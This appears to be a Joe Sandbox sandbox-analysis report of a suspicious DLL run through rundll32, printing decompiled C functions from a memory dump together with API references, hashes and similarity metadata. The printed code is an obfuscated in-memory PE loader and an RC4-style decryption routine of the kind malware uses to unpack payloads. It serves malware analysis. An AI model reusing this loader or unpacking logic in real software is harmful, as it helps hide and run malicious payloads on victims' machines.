										_t1070 =  *0x6eb8a9cc; // 0x0
										_t460 =  *0x6eb8a9c8; // 0x0
										_t155 = _t1070 + 3; // 0x3
										_t157 = _t694 - 2; // -2
										_t464 = E6EB42650(((4 + _t1039 * 4) *  *0x6eb8a9d0 + _t149 + 8) * _t1119 + (_t694 * 4 - _t1039 * 4 - 4) *  *0x6eb8a9d0 - (4 + _t1039 * 4) * _t1070 + _t694 * 4 +  *((intOrPtr*)(_t1195 + 0x38)), (_t460 + _t155) * _t1119 + _t157 * _t1039 +  *((intOrPtr*)( *((intOrPtr*)(_t1195 + 0x10)) + 0x50)) -  *0x6eb8a9d0 - _t694 +  *0x6eb8a9c8 + _t1070);
										_t160 = _t1119 + 1; // 0x1
										_t465 =  *0x6eb8a9c8; // 0x0
										 *(_t1195 + 0x24) = _t464 + (_t1039 * _t1039 - _t160 *  *0x6eb8a9c8 + _t1070 + (_t1039 * _t1039 - _t160 *  *0x6eb8a9c8 + _t1070) * 2) * 2;
										_t923 =  *0x6eb8a9d0; // 0x0
										 *(_t1195 + 0x34) = _t465 * _t1070;
										 *(_t1195 + 0x28) = _t923 * _t1070;
										_t473 = E6EB42650( *((intOrPtr*)(_t1195 + 0x3c)) -  *0x6eb8a9c8, (_t1039 + _t923 * _t1070 * 2 + _t1039 + 2) * _t694 +  *(_t1195 + 0x20) + ((_t465 * _t1070 * _t1039 + _t923) *  *0x6eb8a9c8 - _t1070 - _t1039) * 2);
										_t1196 = _t1195 + 8;
										if( *(_t1196 + 0x20) != _t473) {
											goto L19;
										} else {
											_t801 =  *0x6eb8a9d0; // 0x0
											_t806 =  *0x6eb8a9c8; // 0x0
											 *(_t1196 + 0x14) = _t806 * _t1119;
											_t180 = _t694 - 1; // -1
											_t942 =  *0x6eb8a9d0; // 0x0
											 *(_t1196 + 0x34) = (_t1070 * _t1039 - _t1119 + _t180) * _t1039 + (_t694 - _t1119) * _t694 + (1 - _t1119) * _t1070 -  *((intOrPtr*)(_t1196 + 0x2c)) -  *(_t1196 + 0x14) -  *0x6eb8a9c8 +  *(_t1196 + 0x28) + _t942 + 0x1000;
											_t192 = _t1039 + 1; // 0x1
											_t482 = VirtualAlloc(_t192 * _t1070 + _t694 + _t1039 + _t1119 + (_t192 * _t1070 + _t694 + _t1039 + _t1119) * 2 + ((_t1070 * _t1070 + 3 + _t1070 * _t1070 * 2) * _t694 - 9) *  *0x6eb8a9d0 +  *((intOrPtr*)( *(_t1196 + 0x14) + 0x34)),  *(_t1196 + 0x28),  *(_t1196 + 0x34) | 0x00002000 -  *(_t1196 + 0x18) + _t1070 + _t1039 + ( *(_t1196 + 0x18) + _t1070 + _t1039) * 0x00000004, (5 -  *(_t1196 + 0x30) - _t694) * _t1119 + (2 -  *0x6eb8a9c8 - _t801) * _t801 + (1 - _t1070 - _t1039) * _t694 - _t806 + 4); // executed
											 *(_t1196 + 0x18) = _t482;
											if(_t482 != 0) {
												L17:
												_t829 =  *0x6eb8a9c4; // 0x0
												_t1077 =  *0x6eb8a9bc; // 0x0
												_t949 =  *0x6eb8a9c8; // 0x0
												_t1040 =  *0x6eb8a9cc; // 0x0
												 *(_t1196 + 0x24) = _t1077 * _t829;
												_t1078 =  *0x6eb8a9c0; // 0x0
												_t1041 =  *0x6eb8a9d0; // 0x0
												_t228 = ((_t1078 + _t829) * _t1040 - _t1041 + ((_t1078 + _t829) * _t1040 - _t1041) * 2 - 3) * _t1078 + 0x40; // 0x40
												_t498 = HeapAlloc(GetProcessHeap(), 8 + ((1 - _t829) * _t829 - (_t949 + _t1078) * _t949 - _t1041 * 4) * 4, _t1040 + _t1040 - _t949 * _t829 + _t1077 + (_t1040 + _t1040 - _t949 * _t829 + _t1077) * 2 + _t228);
												_t1120 =  *0x6eb8a9c0; // 0x0
												_t698 =  *0x6eb8a9c8; // 0x0
												_t1042 =  *0x6eb8a9d0; // 0x0
												_t831 =  *0x6eb8a9cc; // 0x0
												_t233 = _t1120 + 1; // 0x1
												_t1080 = _t498 + (_t233 * _t698 * _t831 - _t1042 * _t1042 - _t1120 +  *(_t1196 + 0x24) + (_t233 * _t698 * _t831 - _t1042 * _t1042 - _t1120 +  *(_t1196 + 0x24)) * 4 << 6);
												if(_t1080 != 0) {
													 *(_t1080 + 4) =  *(_t1196 + 0x18);
													 *(_t1196 + 0x14) = _t698 *  *0x6eb8a9c4;
													 *(_t1196 + 0x20) = _t831 * _t1120;
													_t245 = _t1120 + 1; // 0x1
													_t246 = _t1120 - 2; // -2
													_t959 =  *0x6eb8a9c4; // 0x0
													_t516 = _t246 * _t1042 - _t245 * _t698 - (_t959 + 1) * _t831 -  *0x6eb8a9c4;
													_t965 =  *0x6eb8a9bc; // 0x0
													_t251 = _t516 * 2; // 0x2000
													_t841 =  *0x6eb8a9c4; // 0x0
													asm("sbb eax, eax");
													 *(_t1080 + 0x14) =  ~( ~(((0x00000002 -  *(_t1196 + 0x14) +  *(_t1196 + 0x14)) *  *0x6eb8a9bc -  *(_t1196 + 0x20) +  *(_t1196 + 0x20) + 0x00000002) * _t965 + _t251 + 0x00002000 &  *( *((intOrPtr*)(_t1196 + 0x10)) + 0x16) & 0x0000ffff));
													_t842 = _t841 + _t841 * 4;
													 *(_t1196 + 0x1c) = 5 - _t842;
													_t523 =  *0x6eb8a9cc; // 0x0
													 *((intOrPtr*)(_t1080 + 0x1c)) = E6EB43F50;
													 *((intOrPtr*)(_t1080 + 0x20)) = E6EB43F70;
													 *((intOrPtr*)(_t1080 + 0x24)) = E6EB43F90;
													 *((intOrPtr*)(_t1080 + 0x28)) = E6EB43FE0;
													 *((intOrPtr*)(_t1080 + 0x2c)) = E6EB44000;
													 *(_t1080 + 0x34) = 0;
													 *((intOrPtr*)(_t1080 + 0x3c)) =  *(_t1196 + 0x1c) * _t1042 + _t842 + (_t523 + _t1120 + 1) * _t965 + (1 - _t1120) *  *0x6eb8a9cc - _t698 + ((_t523 + _t1120 + 1) * _t965 + (1 - _t1120) *  *0x6eb8a9cc - _t698) * 4 +  *((intOrPtr*)(_t1196 + 0x38));
													_t275 = _t698 + 2; // 0x2
													_t537 = E6EB426B0( *((intOrPtr*)(_t1196 + 0x64)) -  *(_t1196 + 0x24) * 4, _t275 *  *0x6eb8a9cc + ( *(_t1196 + 0x20) + 1) *  *0x6eb8a9c4 +  *((intOrPtr*)( *((intOrPtr*)(_t1196 + 0x10)) + 0x54)) + (_t698 * _t1042 *  *0x6eb8a9cc - 3) * _t1042 +  *(_t1196 + 0x14) + _t698);
													_t1197 = _t1196 + 8;
													if(_t537 == 0) {
														L28:
														E6EB45480(_t1080);
														return 0;
													} else {
														_t540 =  *0x6eb8a9bc; // 0x0
														_t541 =  *0x6eb8a9c4; // 0x0
														_t850 =  *0x6eb8a9cc; // 0x0
														_t281 = _t541 + 2; // 0x2
														_t985 =  *0x6eb8a9c4; // 0x0
														_t286 = _t698 * 2; // -3
														_push(0);
														_t555 = E6EB43F50( *(_t1197 + 0x28),  *(_t1197 + 0x28) * _t698 + ( *(_t1197 + 0x28) + 2) * _t1120 - _t1042 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x1c)) + 0x54)) + (( *(_t1197 + 0x28) + 2) * _t1120 - _t1042) * 4, ((_t698 + _t286 - 3) *  *0x6eb8a9bc - _t1042 + _t1042 * 2 - 3) * _t1042 + _t850 + _t850 * 2 - _t698 + _t698 * 2 + 0x1000, (_t1042 + _t281) * _t850 - (_t698 * _t540 * _t540 * _t1120 + _t1042) * _t541 + (_t985 + 1) * _t1120 - _t1042 + 4 + ((_t1042 + _t281) * _t850 - (_t698 * _t540 * _t540 * _t1120 + _t1042) * _t541 + (_t985 + 1) * _t1120 - _t1042) * 2);
														_t857 =  *0x6eb8a9c8; // 0x0
														_t1043 =  *0x6eb8a9c0; // 0x0
														_t998 =  *0x6eb8a9d0; // 0x0
														_t701 =  *0x6eb8a9cc; // 0x0
														 *(_t1197 + 0x44) = _t555;
														memcpy(_t555,  *(_t1197 + 0x74), (_t998 - _t857 *  *0x6eb8a9bc * _t1043 + _t998 - _t857 *  *0x6eb8a9bc * _t1043 - 4) *  *0x6eb8a9c4 + (_t857 - (_t998 + _t1043) *  *0x6eb8a9bc - _t701 * _t1043) * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x24)) + 0x54)));
														_t1044 =  *0x6eb8a9c8; // 0x0
														_t703 =  *0x6eb8a9d0; // 0x0
														_t863 =  *0x6eb8a9c4; // 0x0
														_t1003 =  *0x6eb8a9c0; // 0x0
														_t704 =  *0x6eb8a9bc; // 0x0
														_t313 = ((_t703 + _t863) * _t1003 - _t1044 * _t1044 * _t703 - _t704) * 2; // 0x3dd
														_t315 = _t1044 + 2; // 0x2
														_t705 =  *0x6eb8a9cc; // 0x0
														_t564 =  *0x6eb8a9cc; // 0x0
														_t716 =  *((intOrPtr*)(_t1197 + 0x50)) + ((_t703 + _t863) * _t1003 - _t1044 * _t1044 * _t703 - _t704 + _t313 + 0x3dd) * _t863 + ((_t705 + 3) *  *0x6eb8a9d0 + _t315 * _t704 + _t1003) * 0x1f0 + _t564 * 0x1f6 - _t1044 + _t1044 * 2 + _t1044 + _t1044 * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x7c)) + 0x3c));
														 *_t1080 = _t716;
														 *((intOrPtr*)(_t1197 + 0x50)) = _t716;
														_t717 =  *0x6eb8a9bc; // 0x0
														 *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x50)) + 0x34)) = _t564 * _t564 - (_t717 + 1) *  *0x6eb8a9d0 * _t1003 - _t1003 * _t863 + _t1044 +  *0x6eb8a9d0 + _t863 +  *((intOrPtr*)(_t1197 + 0x38));
														_t724 =  *0x6eb8a9bc; // 0x0
														_t726 =  *((intOrPtr*)(_t1197 + 0x30));
														_push((_t863 * _t863 - _t724 * _t1003 + _t564 << 8) + _t1080);
														_push(_t726);
														_push(_t863 + _t863 + _t863 + _t863 - _t1003 + _t1003 * 2 + _t1044 + _t564 +  *((intOrPtr*)(_t1197 + 0x84)));
														_push( *((intOrPtr*)(_t1197 + 0x7c)));
														_t565 = E6EB426E0();
														_t1198 = _t1197 + 0x30;
														if(_t565 == 0) {
															goto L28;
														} else {
															_t566 =  *0x6eb8a9c8; // 0x0
															_t870 =  *0x6eb8a9bc; // 0x0
															_t1045 =  *0x6eb8a9cc; // 0x0
															_t331 = _t566 - 2; // -2
															_t569 =  *0x6eb8a9c4; // 0x0
															_t572 = ((_t566 + _t331) *  *0x6eb8a9c4 + (3 - _t870 - _t1045) * 2) * _t1045 - (_t566 + _t566 + 2) *  *0x6eb8a9c0 + (_t870 + _t569) * 2 +  *((intOrPtr*)( *_t1080 + 0x34)) -  *((intOrPtr*)(_t726 + 0x34));
															if(_t572 == 0) {
																 *((intOrPtr*)(_t1080 + 0x18)) = 1;
															} else {
																_push(_t572);
																_push(_t1080);
																_t600 = E6EB43690();
																_t1198 = _t1198 + 8;
																 *((intOrPtr*)(_t1080 + 0x18)) = _t600;
															}
															_push((_t1045 + _t1045 * 2 << 6) + _t1080);
															_t573 = E6EB43960();
															_t1199 = _t1198 + 4;
															if(_t573 == 0) {
																goto L28;
															} else {
																_t1046 =  *0x6eb8a9c8; // 0x0
																_t574 =  *0x6eb8a9c0; // 0x0
																_t873 =  *0x6eb8a9cc; // 0x0
																_t727 =  *0x6eb8a9d0; // 0x0
																_t345 = _t574 + 2; // 0x1
																_t1020 =  *0x6eb8a9c4; // 0x0
																_t347 = _t1020 * _t1020 - _t574 + 1; // 0x1
																_push((((_t1046 * _t574 - 1) * _t873 - _t727 *  *0x6eb8a9bc + _t345) *  *0x6eb8a9d0 + (_t873 + _t347) * _t873 - _t574 + _t574 * 2 + _t1046 +  *0x6eb8a9bc + _t1020 << 6) + _t1080);
																_t576 = E6EB43020();
																_t1200 = _t1199 + 4;
																if(_t576 == 0) {
																	goto L28;
																} else {
																	_t1021 =  *0x6eb8a9c8; // 0x0
																	_t1047 =  *0x6eb8a9bc; // 0x0
																	_t738 =  *0x6eb8a9d0; // 0x0
																	_t876 =  *0x6eb8a9c0; // 0x0
																	_t739 =  *0x6eb8a9cc; // 0x0
																	_t351 = _t876 + 1; // 0x1
																	if(E6EB435C0(((_t738 + _t738 - _t1021 * _t1047 - _t876 - 3) * _t738 + (_t739 - _t1047 - 1) * _t1021 + _t351 * _t876 - _t739 * 4 +  *0x6eb8a9c4 << 7) + _t1080) != 0) {
																		_t1025 =  *((intOrPtr*)( *_t1080 + 0x28));
																		if(_t1025 == 0) {
																			 *(_t1080 + 0x38) = 0;
																			return _t1080;
																		} else {
																			if( *(_t1080 + 0x14) == 0) {
																				_t590 =  *0x6eb8a9d0; // 0x0
																				_t878 =  *0x6eb8a9c0; // 0x0
																				_t879 =  *0x6eb8a9c4; // 0x0
																				_t880 =  *0x6eb8a9bc; // 0x0
																				_t881 =  *0x6eb8a9cc; // 0x0
																				 *(_t1080 + 0x38) = (_t590 *  *0x6eb8a9bc * _t881 + _t590 *  *0x6eb8a9bc * _t881 - 6) *  *0x6eb8a9c8 + _t1025 + ((2 - _t590 *  *0x6eb8a9bc * _t878) * _t878 + (2 - _t879 * _t879) * _t879 + _t880 * 2 - _t881 +  *0x6eb8a9d0) * 2 +  *((intOrPtr*)(_t1200 + 0x18));
																				return _t1080;
																			} else {
																				_t597 =  *0x6eb8a9c8; // 0x0
																				_t884 =  *0x6eb8a9cc; // 0x0
																				_t1055 =  *0x6eb8a9c4; // 0x0
																				_t1056 =  *0x6eb8a9bc; // 0x0
																				 *((intOrPtr*)(_t1080 + 0x10)) = 1;
																				 *0x6eb8d554 = (_t597 - _t597 * _t884 * _t1055 - _t1055 + 2) *  *0x6eb8a9c0 - (_t1056 + _t884) * _t884 - _t597 + _t597 + _t1025 + _t1056 +  *((intOrPtr*)(_t1200 + 0x18));
																				return _t1080;
																			}
																		}
																	} else {
																		goto L28;
																	}
																}
															}
														}
													}
												} else {
													_t237 = _t831 + 1; // 0x1
													VirtualFree( *(_t1196 + 0x18), _t1080, 0x8000 + ((_t698 + _t1042) *  *0x6eb8a9c4 + (1 - _t1120) * _t1120 + _t237 * _t831) * 4);
													goto L19;
												}
											} else {
												_t753 =  *0x6eb8a9cc; // 0x0
												_t1057 =  *0x6eb8a9c0; // 0x0
												_t886 =  *0x6eb8a9bc; // 0x0
												_t1081 =  *0x6eb8a9c8; // 0x0
												_t606 = _t753 *  *0x6eb8a9c4 - _t886 * _t1057;
												_t1030 = _t1057 + _t1057;
												_t204 = _t606 * 2; // -3
												_t607 =  *0x6eb8a9d0; // 0x0
												 *(_t1196 + 0x30) = _t1030 - _t1081 - _t607 +  *0x6eb8a9c4 + (_t1030 - _t1081 - _t607 +  *0x6eb8a9c4) * 2 + (_t753 *  *0x6eb8a9c4 - _t886 * _t1057 + _t204 - 3) * _t753 + 4;
												_t211 = _t1081 - 1; // -1
												_t212 = _t753 + 2; // 0x2
												_t1058 =  *0x6eb8a9bc; // 0x0
												_t215 = _t1081 + 1; // 0x1
												_t1061 =  *0x6eb8a9bc; // 0x0
												_t613 = VirtualAlloc(0, _t1030 - (_t607 *  *0x6eb8a9c4 + _t1081) * _t753 + (_t607 *  *0x6eb8a9c4 + _t1081) * _t753 +  *(_t1196 + 0x20), (_t211 *  *0x6eb8a9bc - _t1057 - 0x00000001) *  *0x6eb8a9c4 - (_t753 * _t1057 + 0x00000001) * _t1081 - _t212 * _t607 - _t1057 + _t1058 + 0x00001000 | 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 - _t1061 + _t607 + _t1061 + _t607 + _t1061 + _t607 + _t1061 + _t607,  *(_t1196 + 0x30));
												 *(_t1196 + 0x18) = _t613;
												if(_t613 == 0) {
													goto L19;
												} else {
													goto L17;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 6EB44406
VirtualAlloc.KERNEL32(?,?,?,?,00000000,00000000), ref: 6EB445FE
VirtualAlloc.KERNEL32(00000000,?,?,?), ref: 6EB446D0
GetProcessHeap.KERNEL32(00000000,00000040), ref: 6EB44755
HeapAlloc.KERNEL32(00000000), ref: 6EB4475C
VirtualFree.KERNEL32(?,00000000,00000000), ref: 6EB447C7
memcpy.MSVCRT ref: 6EB44A0D

Strings

(, xrefs: 6EB443CE

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AllocVirtual$Heap$FreeInfoNativeProcessSystemmemcpy
String ID: (
API String ID: 2458747956-3887548279
Opcode ID: 6fc42248ce1543cf5d953fcd8e8d96899cbe1814335fc00dcd93a985351b60e6
Instruction ID: a4118993fdd5250910575924dbb2071c0777827e6f31f27d28dcd5993297aaf3
Opcode Fuzzy Hash: 6fc42248ce1543cf5d953fcd8e8d96899cbe1814335fc00dcd93a985351b60e6
Instruction Fuzzy Hash: 6E9282326047068FCB48DF68CAD5A56BBA9FB9A304F05853ED505CB3E5E674E609CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB642E6 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E6EB642E6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x6eb85318);
				_t8 = E6EB66608(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E6EB6664D(_t8);
				}
				if( *0x6eb8e75c != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x6eb8cd8c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E6EB66B6E(_t31);
						 *_t10 = E6EB66B2C(GetLastError());
					}
					goto L9;
				}
				E6EB6AEB4(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E6EB6AEE7(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E6EB6AF17();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E6EB6433C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 6EB64304

Part of subcall function 6EB6AEB4: __mtinitlocknum.LIBCMT ref: 6EB6AECA
Part of subcall function 6EB6AEB4: __amsg_exit.LIBCMT ref: 6EB6AED6
Part of subcall function 6EB6AEB4: EnterCriticalSection.KERNEL32(00000000,00000000,?,6EB6A8CA,0000000D,6EB85460,00000008,6EB6A9C1,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D), ref: 6EB6AEDE

___sbh_find_block.LIBCMT ref: 6EB6430F
___sbh_free_block.LIBCMT ref: 6EB6431E
RtlFreeHeap.NTDLL(00000000,00000000,6EB85318,0000000C,6EB6A810,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C), ref: 6EB6434E
GetLastError.KERNEL32(?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C,6EB6AECF,00000000,00000000,?,6EB6A8CA,0000000D), ref: 6EB6435F

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 491cd63953bc341d17fc5fd91731d1238c85ff86b31d8f7eeccf33eb506a8d38
Instruction ID: a2564f488d074e78d120897aa17d4ce6d9fbd8dd9ceab68c7b1c6e03dec9e896
Opcode Fuzzy Hash: 491cd63953bc341d17fc5fd91731d1238c85ff86b31d8f7eeccf33eb506a8d38
Instruction Fuzzy Hash: 2C012C72825BA2EADF205FF09D197CE3F68FB01324F104929E514A7194DB3485418B55

Uniqueness

Uniqueness Score: -1.00%

Function 6EB42060 Relevance: 3.2, APIs: 2, Instructions: 225
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 35%

			E6EB42060(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				signed int _v4;
				intOrPtr _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _v28;
				signed int _v32;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t100;
				void* _t101;
				signed int _t104;
				intOrPtr _t108;
				signed int _t109;
				signed int _t133;
				char _t143;
				signed int _t145;
				signed int _t155;
				signed int _t187;
				signed int _t213;
				signed int _t217;
				signed int _t220;
				signed int _t247;
				intOrPtr _t255;
				signed int _t256;
				intOrPtr _t262;
				char* _t263;
				signed int _t267;
				signed int _t270;
				intOrPtr _t271;
				signed int _t273;
				void* _t274;
				signed int _t275;
				intOrPtr _t276;

				_t96 =  *0x6eb8a9cc; // 0x0
				_t213 =  *0x6eb8a9bc; // 0x0
				_t97 =  *0x6eb8a9c0; // 0x0
				_t98 =  *0x6eb8a9c8; // 0x0
				_t100 =  *0x6eb8a9c4; // 0x0
				_v4 = 0;
				_t101 = malloc(((_t96 * _t96 * _t96 * _t97 + _t213) * 4 - 8) * _t97 + (_t98 * _t213 * 4 - 4) *  *0x6eb8a9d0 - _t100 * 4 + 0x204d);
				_t267 =  *0x6eb8a9cc; // 0x0
				_t217 =  *0x6eb8a9c0; // 0x0
				_t275 =  *0x6eb8a9c8; // 0x0
				_v28 = _t101;
				_v32 = 0;
				_t273 =  *0x6eb8a9bc; // 0x0
				_t10 = _t217 - 3; // -3
				_v24 = _t273 * _t267;
				_t104 =  *0x6eb8a9d0; // 0x0
				_t108 = (4 - _v24 + _v24 + _v24 + _v24) * _t273 + (_t104 + _t104 * 2 + (_t273 + _t10) * _t275 +  *0x6eb8a9c4) * 4 + (4 - _t267 * 4) * _t217 + 0x204d;
				_v8 = _t108;
				if(_t108 > 0) {
					_t145 =  *0x6eb8a9d0; // 0x0
					_t262 = _v28 - _t267 * _t217 + _t145 + _t273 + (_t267 * _t217 + _t145 + _t273) * 2;
					_t24 = _t267 + 1; // 0x1
					_v16 = (_t145 * _t273 - 2) * _t217 - _t24 * _t267 - _t275 + _t273 + ((_t145 * _t273 - 2) * _t217 - _t24 * _t267 - _t275 + _t273) * 2 - _t262 + _a4;
					_t155 = _v32;
					_v20 = _t262;
					while(1) {
						_t263 = _t262 + _t155;
						 *(_v16 + _t263) = _t155;
						_v12 = _t263;
						 *_v12 =  *((intOrPtr*)(_t155 % _a12 + _a8));
						_t155 = _v32 + 1;
						_v32 = _t155;
						if(_t155 >= _v8) {
							goto L4;
						}
						_t262 = _v20;
					}
				}
				L4:
				_t109 =  *0x6eb8a9c4; // 0x0
				_t48 = _t267 + 1; // 0x1
				_t247 =  *0x6eb8a9c4; // 0x0
				_v8 = _t48 * _t273 + (2 - _t109) * _t275 + _t109 + ((_t217 - _t273) * _t267 - _t109 - 1) *  *0x6eb8a9d0 + _t267 + _a4 + (_t48 * _t273 + (2 - _t109) * _t275 + _t109 + ((_t217 - _t273) * _t267 - _t109 - 1) *  *0x6eb8a9d0 + _t267) * 4;
				_t53 = _t247 * _t267 + 2; // 0x3
				_v12 = ((1 - _t273) *  *0x6eb8a9d0 + _t53) * _t247 - _v24 * _t217 * _t217 - _t275 * _t275 * _t217 - _t275 * _t267 * _t217 - _t275 + _t267 + _a4;
				_t255 = _a4;
				_v20 = (4 - _t217 * 4) * _t217 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 - (4 + _t267 * 4) *  *0x6eb8a9d0 + _t255;
				_t187 =  *0x6eb8a9c4; // 0x0
				_v16 = _v28 - _t217 + _t217 * 2 + _t217 + _t217 * 2;
				_t133 =  *0x6eb8a9d0; // 0x0
				_t270 =  *0x6eb8a9c4; // 0x0
				_v32 = 0;
				_v24 = ((_t187 * _t133 * _t273 - 1) * _t217 - _t275 - 3) * _t275 - _t267 + _t133 + (_t267 + _t133) * 2 + _t270 * 2 - _t217 + _t273 + _t255;
				_t72 = _t273 + 1; // 0x1
				_t276 = _v12;
				_t220 = _v32;
				_t271 = _v8;
				_t256 = _v4;
				_t274 = (_t133 + _t133 - 2) * _t275 + _t255 + (_t72 * _t217 - _t133 * _t273 + _t270) * 2;
				do {
					asm("cdq");
					_t256 = (( *(_v20 + _t220) & 0x000000ff) +  *((char*)(_v16 + _t220)) + _t256) % 0x204d;
					_t143 =  *((intOrPtr*)(_v24 + _t220));
					_t220 = _t220 + 1;
					 *((char*)(_t274 + _t220 - 1)) =  *((intOrPtr*)(_t271 + _t256));
					 *((char*)(_t256 + _t276)) = _t143;
				} while (_t220 < 0x204d);
				return  *0x6eb8d530(_v28);
			}

APIs

malloc.MSVCRT ref: 6EB420C1
??3@YAXPAX@Z.MSVCRT ref: 6EB4232C

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ??3@malloc
String ID:
API String ID: 3530088491-0
Opcode ID: a2ed43081e398aced604624aaaa81a05dd64394a47bb89aa2cc9b2148e6a393e
Instruction ID: 525a7e043fd80f8aa30288f0d5314e12f1d275ad661c67fe505f0959cb1bd819
Opcode Fuzzy Hash: a2ed43081e398aced604624aaaa81a05dd64394a47bb89aa2cc9b2148e6a393e
Instruction Fuzzy Hash: 5D9162717057028FC708CF6CCAC5646BBE6FBDA300F09967AA945CB3A9D674E609CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6EB42D80 Relevance: 1.7, APIs: 1, Instructions: 218
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E6EB42D80() {
				intOrPtr _t105;
				signed int _t124;
				signed int _t131;
				signed int _t145;
				signed int _t147;
				signed int _t150;
				long _t159;
				signed int _t162;
				signed int _t166;
				signed int _t173;
				signed int _t193;
				signed int _t200;
				signed int _t217;
				long _t220;
				signed int _t221;
				signed int _t232;
				signed int _t241;
				signed int _t246;
				signed int _t252;
				long _t255;
				signed int _t260;
				void* _t278;

				_t220 =  *(_t278 + 0x14);
				_t105 =  *((intOrPtr*)(_t220 + 8));
				_t255 =  *(_t278 + 0x14);
				 *((intOrPtr*)(_t278 + 4)) = _t105;
				if(_t105 != 0) {
					_t217 =  *0x6eb8a9c8; // 0x0
					_t173 =  *0x6eb8a9d0; // 0x0
					_t252 =  *0x6eb8a9cc; // 0x0
					if(( *(_t220 + 0xc) & _t217 - _t173 + _t252 + 0x02000000 + (_t217 - _t173 + _t252) * 0x00000002) == 0) {
						_t221 =  *0x6eb8a9c0; // 0x0
						_t241 =  *0x6eb8a9c4; // 0x0
						_t40 = _t252 + 2; // -1857595834
						_t44 = _t221 - (_t241 * _t217 +  *0x6eb8a9bc + _t40) *  *0x6eb8a9d0 + (_t221 - (_t241 * _t217 +  *0x6eb8a9bc + _t40) *  *0x6eb8a9d0) * 2 + 0x20000000; // 0x1ffffffe
						asm("sbb eax, eax");
						asm("sbb ebx, ebx");
						_t124 =  *0x6eb8a9bc; // 0x0
						_t193 =  *0x6eb8a9d0; // 0x0
						 *(_t278 + 0x14) = (_t124 * _t241 * _t193 + _t124 * _t241 * _t193 * 2 - 3) * _t193 - _t252 + _t252 * 2 - 0x80000000;
						_t131 =  *( *(_t278 + 0x24) + 0xc);
						 *(_t278 + 0x18) = _t131;
